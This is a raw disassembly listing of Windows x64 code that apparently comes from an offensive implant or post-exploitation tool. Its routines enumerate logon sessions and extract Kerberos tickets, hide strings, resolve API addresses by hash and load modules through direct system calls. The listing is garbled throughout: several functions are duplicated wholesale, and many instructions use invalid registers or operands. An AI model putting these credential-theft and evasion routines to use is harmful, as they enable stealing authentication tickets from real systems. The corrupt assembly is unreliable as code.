140017287loc_140017287:
140017287mov rdx, rax
14001728amov rax, [rax+7208]
140017291test rax, rax
140017294jne 0x140017287
140017296mov [rdx+7208], rbx
14001729d
14001729dloc_14001729d:
14001729dmov rax, [rdi]
1400172a0mov rcx, [rax+r14]
1400172a4mov rax, [rcx+4]
1400172a8mov [rsp+168], rax
1400172b0call [rsi+2012]
1400172b6lea rax, [rsp+124]
1400172bbxor ecx, ecx
1400172bdmov edx, [rsp+116]
1400172c1mov [rsp+48], rax
1400172c6lea rax, [rsp+120]
1400172cbmov r9l, 12
1400172d1lea r8, [rsp+164]
1400172d9mov [rsp+40], rax
1400172delea rax, [rsp+144]
1400172e6mov [rsp+144], rcx
1400172eemov rcx, [rsp+88]
1400172f3mov [rsp+32], rax
1400172f8call [rsi+1956]
1400172femov ecx, eax
140017300test eax, eax
140017302jns 0x140017323
140017304call [rsi+1452]
14001730amov r8l, 686
140017310lea rdx, [rip+0x152e9]
140017317lea rcx, [rip+0x11173]
14001731emov r9l, eax
140017321jmp 0x14001734e
140017323
140017323loc_140017323:
140017323mov r9l, [rsp+124]
140017328cmp r9l, 0xffffffffc000005f
14001732fje 0x140017458
140017335test r9l, r9l
140017338jns 0x140017358
14001733amov r8l, 695
140017340lea rdx, [rip+0x152b9]
140017347lea rcx, [rip+0x11179]
14001734e
14001734eloc_14001734e:
14001734ecall printf
140017353jmp 0x140017458
140017358
140017358loc_140017358:
140017358cmp [rsp+144], 0
140017361je 0x140017458
140017367mov r15l, 8
14001736dxor r14l, r14l
140017370
140017370loc_140017370:
140017370mov rcx, [rsp+144]
140017378cmp r14l, [rcx+4]
14001737cjae 0x140017448
140017382mov edx, 4152
140017387mov ecx, 64
14001738ccall [rsi+932]
140017392test rax, rax
140017395je 0x14001743c
14001739bmov rdx, [rsp+144]
1400173a3mov rcx, rax
1400173a6mov [rsp+64], rax
1400173abadd rdx, r15
1400173aecall CopyTicketInfo
1400173b3mov rax, [rsp+64]
1400173b8movsxd rdx, r14l
1400173bbmov r9, [rsp+72]
1400173c0imul rdx, rdx, 96
1400173c4add rdx, [rsp+144]
1400173ccmov rcx, [rsp+88]
1400173d1movups x0, [rdx+40]
1400173d5lea rdx, [rax+4136]
1400173dcmov r8, [rsp+168]
1400173e4mov [rsp+40], rdx
1400173e9lea rdx, [rax+4128]
1400173f0mov [rsp+32], rdx
1400173f5mov edx, [rsp+116]
1400173f9movups [rsp+96], x0
1400173fecall ExtractTicket
140017403mov rdx, [rbx+7200]
14001740amov rax, [rsp+64]
14001740ftest rdx, rdx
140017412jne 0x14001741d
140017414mov [rbx+7200], rax
14001741bjmp 0x140017433
14001741d
14001741dloc_14001741d:
14001741dmov rcx, rdx
140017420mov rdx, [rdx+4144]
140017427test rdx, rdx
14001742ajne 0x14001741d
14001742cmov [rcx+4144], rax
140017433
140017433loc_140017433:
140017433xor edx, edx
140017435mov [rax+4144], rdx
14001743c
14001743cloc_14001743c:
14001743cinc r14l
14001743fadd r15, 96
140017443jmp 0x140017370
140017448
140017448loc_140017448:
140017448call [rsi+2012]
14001744exor eax, eax
140017450mov [rsp+144], rax
140017458
140017458loc_140017458:
140017458inc r13
14001745bjmp 0x140017225
140017460
140017460loc_140017460:
140017460mov esi, 1
140017465
140017465loc_140017465:
140017465mov rbx, [rsp+136]
14001746dtest rbx, rbx
140017470je 0x140017490
140017472mov rcx, [rbx]
140017475mov rdi, [rip+0x14ef4]
14001747ctest rcx, rcx
14001747fje 0x140017487
140017481call [rdi+940]
140017487
140017487loc_140017487:
140017487mov rcx, rbx
14001748acall [rdi+940]
140017490
140017490loc_140017490:
140017490mov rcx, [rsp+128]
140017498test rcx, rcx
14001749bje 0x1400174aa
14001749dmov rax, [rip+0x14ecc]
1400174a4call [rax+1996]
1400174aa
1400174aaloc_1400174aa:
1400174aamov rdi, [rsp+80]
1400174afmov ecx, 9
1400174b4xor eax, eax
1400174b6rep stosb [rdi], al
1400174b8test r12, r12
1400174bbje 0x1400174c1
1400174bdtest esi, esi
1400174bfjne 0x1400174c4
1400174c1
1400174c1loc_1400174c1:
1400174c1xor r12l, r12l
1400174c4
1400174c4loc_1400174c4:
1400174c4lea rsp, [rbp-56]
1400174c8mov rax, r12
1400174cbpop rbx
1400174ccpop rsi
1400174cdpop rdi
1400174cepop r12
1400174d0pop r13
1400174d2pop r14
1400174d4pop r15
1400174d6pop rbp
1400174d7ret
140016fd0
140016fd0Klist:
140016fd0push rbp
140016fd1xor r11l, r11l
140016fd4xor r9l, r9l
140016fd7xor r10l, r10l
140016fdamov rbp, rsp
140016fddpush r15
140016fdfpush r14
140016fe1xor r14l, r14l
140016fe4push r13
140016fe6xor r13l, r13l
140016fe9push r12
140016febxor r12l, r12l
140016feepush rdi
140016fefmov rdi, rdx
140016ff2push rsi
140016ff3xor esi, esi
140016ff5push rbx
140016ff6mov rbx, rcx
140016ff9mov ecx, 114
140016ffeand rsp, -16
140017002sub rsp, 192
140017009mov [rsp+128], r9
140017011mov [rsp+116], r10l
140017016mov [rsp+184], r11
14001701emov [rsp+136], r11
140017026mov [rsp+164], r11
14001702emov [rsp+176], 0x90008
140017039mov [rsp+172], esi
140017040mov [rsp+144], r12
140017048mov [rsp+120], r13l
14001704dmov [rsp+124], r13l
140017052mov [rsp+155], r14
14001705amov [rsp+163], 0
140017062call HideChar
140017067mov ecx, 107
14001706cmov [rsp+160], al
140017073call HideChar
140017078xor ecx, ecx
14001707amov [rsp+155], al
140017081call HideChar
140017086mov ecx, 101
14001708bmov [rsp+163], al
140017092call HideChar
140017097mov ecx, 114
14001709cmov [rsp+156], al
1400170a3call HideChar
1400170a8mov ecx, 115
1400170admov [rsp+157], al
1400170b4call HideChar
1400170b9mov ecx, 98
1400170bemov [rsp+162], al
1400170c5call HideChar
1400170camov ecx, 111
1400170cfmov [rsp+158], al
1400170d6call HideChar
1400170dbmov ecx, 101
1400170e0mov [rsp+161], al
1400170e7call HideChar
1400170ecmov [rsp+159], al
1400170f3lea rax, [rsp+155]
1400170fbmov [rsp+80], rax
140017100mov [rsp+184], rax
140017108test rbx, rbx
14001710bje 0x14001713b
14001710dmov rcx, rbx
140017110call IsHighIntegrity
140017115mov edx, eax
140017117test eax, eax
140017119jne 0x140017145
14001711blea r9, [rip+0x1128e]
140017122mov r8l, 623
140017128lea rdx, [rip+0x154d1]
14001712flea rcx, [rip+0x111d1]
140017136call printf
14001713b
14001713bloc_14001713b:
14001713bxor r12l, r12l
14001713exor esi, esi
140017140jmp 0x140017465
140017145
140017145loc_140017145:
140017145lea r8, [rsp+128]
14001714dmov rcx, rbx
140017150call GetLsaHandle
140017155mov r9l, eax
140017158test eax, eax
14001715ajs 0x14001716e
14001715cmov rax, [rsp+128]
140017164mov [rsp+88], rax
140017169test rax, rax
14001716cjne 0x140017184
14001716e
14001716eloc_14001716e:
14001716emov r8l, 630
140017174lea rdx, [rip+0x15485]
14001717blea rcx, [rip+0x11249]
140017182jmp 0x140017200
140017184
140017184loc_140017184:
140017184mov rsi, [rip+0x151e5]
14001718bmov rcx, [rsp+88]
140017190lea r8, [rsp+116]
140017195lea rdx, [rsp+176]
14001719dcall [rsi+1988]
1400171a3mov ecx, eax
1400171a5test eax, eax
1400171a7jns 0x1400171c8
1400171a9call [rsi+1452]
1400171afmov r8l, 637
1400171b5lea rdx, [rip+0x15444]
1400171bclea rcx, [rip+0x11269]
1400171c3mov r9l, eax
1400171c6jmp 0x140017200
1400171c8
1400171c8loc_1400171c8:
1400171c8lea rdx, [rsp+136]
1400171d0mov rcx, rdi
1400171d3call GetLogonSessionData
1400171d8mov r9l, eax
1400171dbtest eax, eax
1400171ddjs 0x1400171ec
1400171dfmov rdi, [rsp+136]
1400171e7test rdi, rdi
1400171eajne 0x14001720a
1400171ec
1400171ecloc_1400171ec:
1400171ecmov r8l, 644
1400171f2lea rdx, [rip+0x15407]
1400171f9lea rcx, [rip+0x11264]
140017200
140017200loc_140017200:
140017200call printf
140017205jmp 0x14001713b
14001720a
14001720aloc_14001720a:
14001720alea rax, [rsp+96]
14001720fxor r13l, r13l
140017212xor r12l, r12l
140017215mov [rsp+164], 14
140017220mov [rsp+72], rax
140017225
140017225loc_140017225:
140017225cmp r13l, [rdi+8]
140017229jae 0x140017460
14001722fmov rax, [rdi]
140017232lea r14, [8*r13]
14001723acmp [rax+8*r13], 0
14001723fje 0x140017458
140017245mov edx, 7216
14001724amov ecx, 64
14001724fcall [rsi+932]
140017255mov rbx, rax
140017258test rax, rax
14001725bje 0x140017458
140017261mov rax, [rdi]
140017264mov rcx, rbx
140017267mov rdx, [rax+r14]
14001726bcall CopySessionInfo
140017270test r12, r12
140017273jne 0x140017284
140017275xor r8l, r8l
140017278mov r12, rbx
14001727bmov [rbx+7208], r8
140017282jmp 0x14001729d
140017284
140017284loc_140017284:
140017284mov rax, r12
140017287
140017287loc_140017287:
140017287mov rdx, rax
14001728amov rax, [rax+7208]
140017291test rax, rax
140017294jne 0x140017287
140017296mov [rdx+7208], rbx
14001729d
14001729dloc_14001729d:
14001729dmov rax, [rdi]
1400172a0mov rcx, [rax+r14]
1400172a4mov rax, [rcx+4]
1400172a8mov [rsp+168], rax
1400172b0call [rsi+2012]
1400172b6lea rax, [rsp+124]
1400172bbxor ecx, ecx
1400172bdmov edx, [rsp+116]
1400172c1mov [rsp+48], rax
1400172c6lea rax, [rsp+120]
1400172cbmov r9l, 12
1400172d1lea r8, [rsp+164]
1400172d9mov [rsp+40], rax
1400172delea rax, [rsp+144]
1400172e6mov [rsp+144], rcx
1400172eemov rcx, [rsp+88]
1400172f3mov [rsp+32], rax
1400172f8call [rsi+1956]
1400172femov ecx, eax
140017300test eax, eax
140017302jns 0x140017323
140017304call [rsi+1452]
14001730amov r8l, 686
140017310lea rdx, [rip+0x152e9]
140017317lea rcx, [rip+0x11173]
14001731emov r9l, eax
140017321jmp 0x14001734e
140017323
140017323loc_140017323:
140017323mov r9l, [rsp+124]
140017328cmp r9l, 0xffffffffc000005f
14001732fje 0x140017458
140017335test r9l, r9l
140017338jns 0x140017358
14001733amov r8l, 695
140017340lea rdx, [rip+0x152b9]
140017347lea rcx, [rip+0x11179]
14001734e
14001734eloc_14001734e:
14001734ecall printf
140017353jmp 0x140017458
140017358
140017358loc_140017358:
140017358cmp [rsp+144], 0
140017361je 0x140017458
140017367mov r15l, 8
14001736dxor r14l, r14l
140017370
140017370loc_140017370:
140017370mov rcx, [rsp+144]
140017378cmp r14l, [rcx+4]
14001737cjae 0x140017448
140017382mov edx, 4152
140017387mov ecx, 64
14001738ccall [rsi+932]
140017392test rax, rax
140017395je 0x14001743c
14001739bmov rdx, [rsp+144]
1400173a3mov rcx, rax
1400173a6mov [rsp+64], rax
1400173abadd rdx, r15
1400173aecall CopyTicketInfo
1400173b3mov rax, [rsp+64]
1400173b8movsxd rdx, r14l
1400173bbmov r9, [rsp+72]
1400173c0imul rdx, rdx, 96
1400173c4add rdx, [rsp+144]
1400173ccmov rcx, [rsp+88]
1400173d1movups x0, [rdx+40]
1400173d5lea rdx, [rax+4136]
1400173dcmov r8, [rsp+168]
1400173e4mov [rsp+40], rdx
1400173e9lea rdx, [rax+4128]
1400173f0mov [rsp+32], rdx
1400173f5mov edx, [rsp+116]
1400173f9movups [rsp+96], x0
1400173fecall ExtractTicket
140017403mov rdx, [rbx+7200]
14001740amov rax, [rsp+64]
14001740ftest rdx, rdx
140017412jne 0x14001741d
140017414mov [rbx+7200], rax
14001741bjmp 0x140017433
14001741d
14001741dloc_14001741d:
14001741dmov rcx, rdx
140017420mov rdx, [rdx+4144]
140017427test rdx, rdx
14001742ajne 0x14001741d
14001742cmov [rcx+4144], rax
140017433
140017433loc_140017433:
140017433xor edx, edx
140017435mov [rax+4144], rdx
14001743c
14001743cloc_14001743c:
14001743cinc r14l
14001743fadd r15, 96
140017443jmp 0x140017370
140017448
140017448loc_140017448:
140017448call [rsi+2012]
14001744exor eax, eax
140017450mov [rsp+144], rax
140017458
140017458loc_140017458:
140017458inc r13
14001745bjmp 0x140017225
140017460
140017460loc_140017460:
140017460mov esi, 1
140017465
140017465loc_140017465:
140017465mov rbx, [rsp+136]
14001746dtest rbx, rbx
140017470je 0x140017490
140017472mov rcx, [rbx]
140017475mov rdi, [rip+0x14ef4]
14001747ctest rcx, rcx
14001747fje 0x140017487
140017481call [rdi+940]
140017487
140017487loc_140017487:
140017487mov rcx, rbx
14001748acall [rdi+940]
140017490
140017490loc_140017490:
140017490mov rcx, [rsp+128]
140017498test rcx, rcx
14001749bje 0x1400174aa
14001749dmov rax, [rip+0x14ecc]
1400174a4call [rax+1996]
1400174aa
1400174aaloc_1400174aa:
1400174aamov rdi, [rsp+80]
1400174afmov ecx, 9
1400174b4xor eax, eax
1400174b6rep stosb [rdi], al
1400174b8test r12, r12
1400174bbje 0x1400174c1
1400174bdtest esi, esi
1400174bfjne 0x1400174c4
1400174c1
1400174c1loc_1400174c1:
1400174c1xor r12l, r12l
1400174c4
1400174c4loc_1400174c4:
1400174c4lea rsp, [rbp-56]
1400174c8mov rax, r12
1400174cbpop rbx
1400174ccpop rsi
1400174cdpop rdi
1400174cepop r12
1400174d0pop r13
1400174d2pop r14
1400174d4pop r15
1400174d6pop rbp
1400174d7ret
140016fd0
1400174d8
1400174d8 // align 0x10
1400174d8 // align 0x10
1400174ed
1400174ed // align 0x10
1400174ed // align 0x10
1400174f0
1400174f0LdrFunctionAddr:
1400174f0push r15
1400174f2xor eax, eax
1400174f4push r14
1400174f6push r13
1400174f8push r12
1400174fapush rbp
1400174fbpush rdi
1400174fcpush rsi
1400174fdpush rbx
1400174fesub rsp, 88
140017502mov [rsp+56], rax
140017507mov [rsp+64], rax
14001750cmov [rsp+72], rax
140017511test rcx, rcx
140017514je 0x14001762a
14001751amov r9l, edx
14001751dtest edx, edx
14001751fje 0x14001762a
140017525movsxd rax, [rcx+60]
140017529mov rbx, rcx
14001752cxor esi, esi
14001752eadd rax, rcx
140017531mov ebp, [rax+136]
140017537mov eax, [rax+140]
14001753dadd rbp, rcx
140017540mov [rsp+44], eax
140017544mov r15l, [rbp+32]
140017548mov r13l, [rbp+28]
14001754cmov r14l, [rbp+36]
140017550mov r12l, [rbp+24]
140017554add r15, rcx
140017557
140017557loc_140017557:
140017557cmp esi, r12l
14001755ajae 0x140017611
140017560mov edi, [r15+4*rsi]
140017564xor edx, edx
140017566mov r8l, 1
14001756cmov [rsp+168], r9l
140017574add rdi, rbx
140017577mov rcx, rdi
14001757acall HashEx
14001757fmov r9l, [rsp+168]
140017587mov edx, eax
140017589lea rax, [rsi+1]
14001758dcmp edx, r9l
140017590jne 0x140017609
140017592add rsi, rsi
140017595add rsi, rbx
140017598movzx eax, [rsi+r14]
14001759dlea rax, [rbx+4*rax]
1400175a1mov edx, [rax+r13]
1400175a5add rdx, rbx
1400175a8mov [rsp+56], rdx
1400175adcmp rdx, rbp
1400175b0jae 0x1400175b9
1400175b2
1400175b2loc_1400175b2:
1400175b2mov rax, [rsp+56]
1400175b7jmp 0x14001762c
1400175b9
1400175b9loc_1400175b9:
1400175b9mov eax, [rsp+44]
1400175bdadd rax, rbx
1400175c0add rax, rbp
1400175c3cmp rdx, rax
1400175c6jae 0x1400175b2
1400175c8call StringLengthA
1400175cdmov [rsp+72], rdi
1400175d2mov [rsp+64], ax
1400175d7inc eax
1400175d9mov [rsp+66], ax
1400175demov rax, [rip+0x14d8b]
1400175e5mov rax, [rax+308]
1400175ectest rax, rax
1400175efje 0x14001762a
1400175f1xor r8l, r8l
1400175f4lea rdx, [rsp+64]
1400175f9lea r9, [rsp+56]
1400175femov rcx, rbx
140017601call rax
140017603test eax, eax
140017605jns 0x1400175b2
140017607jmp 0x14001762a
140017609
140017609loc_140017609:
140017609mov rsi, rax
14001760cjmp 0x140017557
140017611
140017611loc_140017611:
140017611mov r8l, 430
140017617lea rdx, [rip+0x154a2]
14001761elea rcx, [rip+0x12bcb]
140017625call printf
14001762a
14001762aloc_14001762a:
14001762axor eax, eax
14001762c
14001762cloc_14001762c:
14001762cadd rsp, 88
140017630pop rbx
140017631pop rsi
140017632pop rdi
140017633pop rbp
140017634pop r12
140017636pop r13
140017638pop r14
14001763apop r15
14001763cret
1400174f0
1400174f0LdrFunctionAddr:
1400174f0push r15
1400174f2xor eax, eax
1400174f4push r14
1400174f6push r13
1400174f8push r12
1400174fapush rbp
1400174fbpush rdi
1400174fcpush rsi
1400174fdpush rbx
1400174fesub rsp, 88
140017502mov [rsp+56], rax
140017507mov [rsp+64], rax
14001750cmov [rsp+72], rax
140017511test rcx, rcx
140017514je 0x14001762a
14001751amov r9l, edx
14001751dtest edx, edx
14001751fje 0x14001762a
140017525movsxd rax, [rcx+60]
140017529mov rbx, rcx
14001752cxor esi, esi
14001752eadd rax, rcx
140017531mov ebp, [rax+136]
140017537mov eax, [rax+140]
14001753dadd rbp, rcx
140017540mov [rsp+44], eax
140017544mov r15l, [rbp+32]
140017548mov r13l, [rbp+28]
14001754cmov r14l, [rbp+36]
140017550mov r12l, [rbp+24]
140017554add r15, rcx
140017557
140017557loc_140017557:
140017557cmp esi, r12l
14001755ajae 0x140017611
140017560mov edi, [r15+4*rsi]
140017564xor edx, edx
140017566mov r8l, 1
14001756cmov [rsp+168], r9l
140017574add rdi, rbx
140017577mov rcx, rdi
14001757acall HashEx
14001757fmov r9l, [rsp+168]
140017587mov edx, eax
140017589lea rax, [rsi+1]
14001758dcmp edx, r9l
140017590jne 0x140017609
140017592add rsi, rsi
140017595add rsi, rbx
140017598movzx eax, [rsi+r14]
14001759dlea rax, [rbx+4*rax]
1400175a1mov edx, [rax+r13]
1400175a5add rdx, rbx
1400175a8mov [rsp+56], rdx
1400175adcmp rdx, rbp
1400175b0jae 0x1400175b9
1400175b2
1400175b2loc_1400175b2:
1400175b2mov rax, [rsp+56]
1400175b7jmp 0x14001762c
1400175b9
1400175b9loc_1400175b9:
1400175b9mov eax, [rsp+44]
1400175bdadd rax, rbx
1400175c0add rax, rbp
1400175c3cmp rdx, rax
1400175c6jae 0x1400175b2
1400175c8call StringLengthA
1400175cdmov [rsp+72], rdi
1400175d2mov [rsp+64], ax
1400175d7inc eax
1400175d9mov [rsp+66], ax
1400175demov rax, [rip+0x14d8b]
1400175e5mov rax, [rax+308]
1400175ectest rax, rax
1400175efje 0x14001762a
1400175f1xor r8l, r8l
1400175f4lea rdx, [rsp+64]
1400175f9lea r9, [rsp+56]
1400175femov rcx, rbx
140017601call rax
140017603test eax, eax
140017605jns 0x1400175b2
140017607jmp 0x14001762a
140017609
140017609loc_140017609:
140017609mov rsi, rax
14001760cjmp 0x140017557
140017611
140017611loc_140017611:
140017611mov r8l, 430
140017617lea rdx, [rip+0x154a2]
14001761elea rcx, [rip+0x12bcb]
140017625call printf
14001762a
14001762aloc_14001762a:
14001762axor eax, eax
14001762c
14001762cloc_14001762c:
14001762cadd rsp, 88
140017630pop rbx
140017631pop rsi
140017632pop rdi
140017633pop rbp
140017634pop r12
140017636pop r13
140017638pop r14
14001763apop r15
14001763cret
1400174f0
14001763d
14001763d // align 0x10
14001763d // align 0x10
140017640
140017640LdrFunctionAddrString:
140017640push rsi
140017641mov r8l, 1
140017647mov rsi, rcx
14001764apush rbx
14001764bmov rbx, rdx
14001764exor edx, edx
140017650mov rcx, rbx
140017653sub rsp, 56
140017657call HashEx
14001765cmov [rsp+32], rbx
140017661mov r9, rsi
140017664mov r8l, 28
14001766amov [rsp+40], eax
14001766elea rdx, [rip+0x159fb]
140017675lea rcx, [rip+0x13fcc]
14001767ccall printf
140017681mov rcx, rbx
140017684xor edx, edx
140017686mov r8l, 1
14001768ccall HashEx
140017691add rsp, 56
140017695mov rcx, rsi
140017698pop rbx
140017699mov edx, eax
14001769bpop rsi
14001769cjmp 0x1400174f0
140017640
140017640LdrFunctionAddrString:
140017640push rsi
140017641mov r8l, 1
140017647mov rsi, rcx
14001764apush rbx
14001764bmov rbx, rdx
14001764exor edx, edx
140017650mov rcx, rbx
140017653sub rsp, 56
140017657call HashEx
14001765cmov [rsp+32], rbx
140017661mov r9, rsi
140017664mov r8l, 28
14001766amov [rsp+40], eax
14001766elea rdx, [rip+0x159fb]
140017675lea rcx, [rip+0x13fcc]
14001767ccall printf
140017681mov rcx, rbx
140017684xor edx, edx
140017686mov r8l, 1
14001768ccall HashEx
140017691add rsp, 56
140017695mov rcx, rsi
140017698pop rbx
140017699mov edx, eax
14001769bpop rsi
14001769cjmp 0x1400174f0
140017640
1400176a1
1400176a1 // align 0x10
1400176a1 // align 0x10
1400176bd
1400176bd // align 0x10
1400176bd // align 0x10
1400176c0
1400176c0LdrModuleLoad:
1400176c0push r13
1400176c2xor r11l, r11l
1400176c5xor eax, eax
1400176c7push r12
1400176c9push rbp
1400176camov rbp, rcx
1400176cdmov ecx, 130
1400176d2push rdi
1400176d3push rsi
1400176d4push rbx
1400176d5xor ebx, ebx
1400176d7sub rsp, 648
1400176delea rdi, [rsp+120]
1400176e3mov [rsp+104], r11
1400176e8rep stosd [rdi], eax
1400176eamov [rsp+112], r11
1400176efxor eax, eax
1400176f1mov [rsp+72], rbx
1400176f6mov [rsp+80], rbx
1400176fbmov [rsp+88], rbx
140017700mov [rsp+96], rbx
140017705test rbp, rbp
140017708je 0x140017a46
14001770emov rcx, rbp
140017711lea rdi, [rsp+120]
140017716call StringLengthA
14001771bmov rdx, rbp
14001771emov rcx, rdi
140017721mov r8, rax
140017724call CharStringToWCharString
140017729mov rcx, rdi
14001772ccall StringLengthW
140017731mov rcx, rdi
140017734mov r12, rax
140017737call LdrModuleSearch
14001773cmov [rsp+72], rax
140017741test rax, rax
140017744jne 0x140017a46
14001774amov rbx, [rip+0x14c1f]
140017751lea rsi, [rip+0x153b8]
140017758mov al, [rbx+222]
14001775etest al, al
140017760je 0x140017968
140017766cmp al, 1
140017768jne 0x14001780e
14001776ecmp [rbx+388], 0
140017776je 0x140017968
14001777clea r9, [rip+0x12fda]
140017783mov r8l, 252
140017789mov rdx, rsi
14001778clea rcx, [rip+0x12bda]
140017793call printf
140017798xor r10l, r10l
14001779bxor r8l, r8l
14001779elea rcx, [rsp+80]
1400177a3mov [rsp+32], r10l
1400177a8mov r9l, 1
1400177aemov edx, 0x1f0003
1400177b3call SysNtCreateEvent
1400177b8test eax, eax
1400177bajs 0x140017968
1400177c0xor r9l, r9l
1400177c3mov rdx, [rsp+80]
1400177c8lea rcx, [rsp+96]
1400177cdmov r8, [rbx+756]
1400177d4mov [rsp+32], r9l
1400177d9mov r9, rdi
1400177dcmov [rsp+40], 12
1400177e4call [rbx+388]
1400177eamov r9l, eax
1400177edtest eax, eax
1400177efjs 0x1400177fc
1400177f1
1400177f1loc_1400177f1:
1400177f1mov r13l, 5
1400177f7jmp 0x140017929
1400177fc
1400177fcloc_1400177fc:
1400177fcmov r8l, 261
140017802mov rdx, rsi
140017805lea rcx, [rip+0x12f76]
14001780cjmp 0x140017862
14001780e
14001780eloc_14001780e:
14001780ecmp al, 2
140017810jne 0x1400178b5
140017816cmp [rbx+380], 0
14001781eje 0x140017968
140017824lea r9, [rip+0x12f7c]
14001782bmov r8l, 269
140017831mov rdx, rsi
140017834lea rcx, [rip+0x12b32]
14001783bcall printf
140017840lea rcx, [rsp+88]
140017845call [rbx+404]
14001784bmov r9l, eax
14001784etest eax, eax
140017850jns 0x14001786c
140017852mov r8l, 273
140017858mov rdx, rsi
14001785blea rcx, [rip+0x12f69]
140017862
140017862loc_140017862:
140017862call printf
140017867jmp 0x140017968
14001786c
14001786cloc_14001786c:
14001786cxor ecx, ecx
14001786emov r8, [rbx+756]
140017875mov r9, rdi
140017878mov [rsp+48], 32
140017880mov [rsp+40], ecx
140017884lea rdx, [rsp+96]
140017889mov [rsp+32], ecx
14001788dmov rcx, [rsp+88]
140017892call [rbx+380]
140017898mov r9l, eax
14001789btest eax, eax
14001789djns 0x1400177f1
1400178a3mov r8l, 279
1400178a9mov rdx, rsi
1400178aclea rcx, [rip+0x12f4a]
1400178b3jmp 0x140017862
1400178b5
1400178b5loc_1400178b5:
1400178b5cmp al, 3
1400178b7jne 0x140017968
1400178bdcmp [rbx+396], 0
1400178c5je 0x140017968
1400178cblea r9, [rip+0x12f4f]
1400178d2mov r8l, 286
1400178d8mov rdx, rsi
1400178dblea rcx, [rip+0x12a8b]
1400178e2call printf
1400178e7mov rcx, [rbx+756]
1400178eexor r8l, r8l
1400178f1mov rdx, rdi
1400178f4call [rbx+396]
1400178famov r9l, eax
1400178fdtest eax, eax
1400178ffjns 0x1400177f1
140017905mov r8l, 290
14001790bmov rdx, rsi
14001790elea rcx, [rip+0x12f32]
140017915jmp 0x140017862
14001791a
14001791aloc_14001791a:
14001791amov ecx, 100
14001791fcall SharedSleep
140017924dec r13l
140017927je 0x140017940
140017929
140017929loc_140017929:
140017929mov rcx, rdi
14001792ccall LdrModulePebByString
140017931mov [rsp+72], rax
140017936test rax, rax
140017939je 0x14001791a
14001793bjmp 0x1400179e4
140017940
140017940loc_140017940:
140017940cmp [rsp+72], 0
140017946jne 0x1400179e4
14001794clea r9, [rip+0x12f21]
140017953mov r8l, 325
140017959mov rdx, rsi
14001795clea rcx, [rip+0x12a0a]
140017963call printf
140017968
140017968loc_140017968:
140017968cmp [rbx+300], 0
140017970je 0x1400179e4
140017972add r12l, r12l
140017975lea r9, [rip+0x12f2a]
14001797cmov r8l, 335
140017982mov rdx, rsi
140017985lea rcx, [rip+0x129e1]
14001798ccall printf
140017991mov [rsp+104], r12w
140017997xor edx, edx
140017999xor ecx, ecx
14001799badd r12l, 2
14001799fmov [rsp+112], rdi
1400179a4lea r9, [rsp+72]
1400179a9lea r8, [rsp+104]
1400179aemov [rsp+106], r12w
1400179b4call [rbx+300]
1400179bamov r12l, eax
1400179bdtest eax, eax
1400179bfjns 0x1400179e4
1400179c1mov r9l, eax
1400179c4mov r8l, 343
1400179camov rdx, rsi
1400179cdlea rcx, [rip+0x12ef2]
1400179d4call printf
1400179d9mov rax, [rbx+2230]
1400179e0mov [rax+104], r12l
1400179e4
1400179e4loc_1400179e4:
1400179e4xor eax, eax
1400179e6mov ecx, 520
1400179ebrep stosb [rdi], al
1400179edmov ecx, 16
1400179f2lea rdi, [rsp+104]
1400179f7rep stosb [rdi], al
1400179f9mov rax, [rsp+72]
1400179felea rcx, [rip+0x12ee8]
140017a05mov r9, rbp
140017a08mov rdx, rsi
140017a0bmov r8l, 354
140017a11mov [rsp+32], rax
140017a16call printf
140017a1bmov rcx, [rsp+80]
140017a20test rcx, rcx
140017a23je 0x140017a31
140017a25call SysNtClose
140017a2axor eax, eax
140017a2cmov [rsp+80], rax
140017a31
140017a31loc_140017a31:
140017a31mov rcx, [rsp+88]
140017a36test rcx, rcx
140017a39je 0x140017a41
140017a3bcall [rbx+412]
140017a41
140017a41loc_140017a41:
140017a41mov rax, [rsp+72]
140017a46
140017a46loc_140017a46:
140017a46add rsp, 648
140017a4dpop rbx
140017a4epop rsi
140017a4fpop rdi
140017a50pop rbp
140017a51pop r12
140017a53pop r13
140017a55ret
1400176c0
1400176c0LdrModuleLoad:
1400176c0push r13
1400176c2xor r11l, r11l
1400176c5xor eax, eax
1400176c7push r12
1400176c9push rbp
1400176camov rbp, rcx
1400176cdmov ecx, 130
1400176d2push rdi
1400176d3push rsi
1400176d4push rbx
1400176d5xor ebx, ebx
1400176d7sub rsp, 648
1400176delea rdi, [rsp+120]
1400176e3mov [rsp+104], r11
1400176e8rep stosd [rdi], eax
1400176eamov [rsp+112], r11
1400176efxor eax, eax
1400176f1mov [rsp+72], rbx
1400176f6mov [rsp+80], rbx
1400176fbmov [rsp+88], rbx
140017700mov [rsp+96], rbx
140017705test rbp, rbp
140017708je 0x140017a46
14001770emov rcx, rbp
140017711lea rdi, [rsp+120]
140017716call StringLengthA
14001771bmov rdx, rbp
14001771emov rcx, rdi
140017721mov r8, rax
140017724call CharStringToWCharString
140017729mov rcx, rdi
14001772ccall StringLengthW
140017731mov rcx, rdi
140017734mov r12, rax
140017737call LdrModuleSearch
14001773cmov [rsp+72], rax
140017741test rax, rax
140017744jne 0x140017a46
14001774amov rbx, [rip+0x14c1f]
140017751lea rsi, [rip+0x153b8]
140017758mov al, [rbx+222]
14001775etest al, al
140017760je 0x140017968
140017766cmp al, 1
140017768jne 0x14001780e
14001776ecmp [rbx+388], 0
140017776je 0x140017968
14001777clea r9, [rip+0x12fda]
140017783mov r8l, 252
140017789mov rdx, rsi
14001778clea rcx, [rip+0x12bda]
140017793call printf
140017798xor r10l, r10l
14001779bxor r8l, r8l
14001779elea rcx, [rsp+80]
1400177a3mov [rsp+32], r10l
1400177a8mov r9l, 1
1400177aemov edx, 0x1f0003
1400177b3call SysNtCreateEvent
1400177b8test eax, eax
1400177bajs 0x140017968
1400177c0xor r9l, r9l
1400177c3mov rdx, [rsp+80]
1400177c8lea rcx, [rsp+96]
1400177cdmov r8, [rbx+756]
1400177d4mov [rsp+32], r9l
1400177d9mov r9, rdi
1400177dcmov [rsp+40], 12
1400177e4call [rbx+388]
1400177eamov r9l, eax
1400177edtest eax, eax
1400177efjs 0x1400177fc
1400177f1
1400177f1loc_1400177f1:
1400177f1mov r13l, 5
1400177f7jmp 0x140017929
1400177fc
1400177fcloc_1400177fc:
1400177fcmov r8l, 261
140017802mov rdx, rsi
140017805lea rcx, [rip+0x12f76]
14001780cjmp 0x140017862
14001780e
14001780eloc_14001780e:
14001780ecmp al, 2
140017810jne 0x1400178b5
140017816cmp [rbx+380], 0
14001781eje 0x140017968
140017824lea r9, [rip+0x12f7c]
14001782bmov r8l, 269
140017831mov rdx, rsi
140017834lea rcx, [rip+0x12b32]
14001783bcall printf
140017840lea rcx, [rsp+88]
140017845call [rbx+404]
